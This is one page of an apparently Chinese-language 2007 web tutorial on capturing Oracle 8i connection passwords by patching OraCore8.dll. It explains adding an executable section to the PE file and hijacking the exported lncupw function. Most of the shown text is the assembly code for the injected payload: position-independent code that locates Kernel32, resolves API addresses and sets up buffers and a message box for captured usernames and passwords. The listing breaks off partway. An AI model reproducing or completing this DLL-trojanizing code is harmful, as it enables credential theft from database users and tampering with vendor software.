频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

教你如何截获Oracle数据库连接密码

来源: 作者: 出处:巧巧读书 2007-07-20 进入讨论组
上一页 1 2 3 4 5 下一页 
访问地址 http://www.qqread.com/oracle/2006/11/h257986.html

这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 要被添加到 OraCore8.dll 文件后面的执行代码 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 
; 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 一些函数的原形定义 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_ProtoGetProcAddress typedef proto :dword,:dword 
_ProtoLoadLibrary typedef proto :dword 
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword 
_Protowsprintf typedef proto c :dword,:VARARG 
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress 
_ApiLoadLibrary typedef ptr _ProtoLoadLibrary 
_ApiMessageBox typedef ptr _ProtoMessageBox 
_Apiwsprintf typedef ptr _Protowsprintf 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 
; 
APPEND_CODE equ this byte 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 被添加到目标文件中的代码从这里开始 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
hDllKernel32 dd ? 
hDllUser32 dd ? 
_GetProcAddress _ApiGetProcAddress ? 
_LoadLibrary _ApiLoadLibrary ? 
_MessageBox _ApiMessageBox ? 
_wsprintf _Apiwsprintf ? 
szLoadLibrary db 'LoadLibraryA',0 
szGetProcAddress db 'GetProcAddress',0 
szUser32 db 'user32',0 
szMessageBox db 'MessageBoxA',0 
szwsprintf db 'wsprintfA',0 
szCaption db 'Oracle 8i 密码截取补丁',0 
szFormatPwd db '截获 Oracle 连接:',0dh,0ah,0dh,0ah 
db '用户名:%s',0dh,0ah 
db '密 码:%s',0 
szTmpBuffer db 512 dup (?) 
szUserName db 64 dup (?) 
szPassWord db 64 dup (?) 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 错误 Handler 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext 
pushad 
mov esi,_lpExceptionRecord 
mov edi,_lpContext 
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT 
mov eax,_lpSEH 
push [eax + 0ch] 
pop [edi].regEbp 
push [eax + 8] 
pop [edi].regEip 
push eax 
pop [edi].regEsp 
assume esi:nothing,edi:nothing 
popad 
mov eax,ExceptionContinueExecution 
ret 
_SEHHandler endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 在内存中扫描 Kernel32.dll 的基址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
szKernel32 db 'KERNEL32' 
_GetKernelBase proc _dwKernelRet 
local @dwReturn 
pushad 
mov @dwReturn,0 
;******************************************************************** 
; 重定位 
;******************************************************************** 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
      
更多文章 更多内容请看电脑密码设置手册Cisco密码恢复专题数据库专栏专题,或进入讨论组讨论。
上一页 1 2 3 4 5 下一页 
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章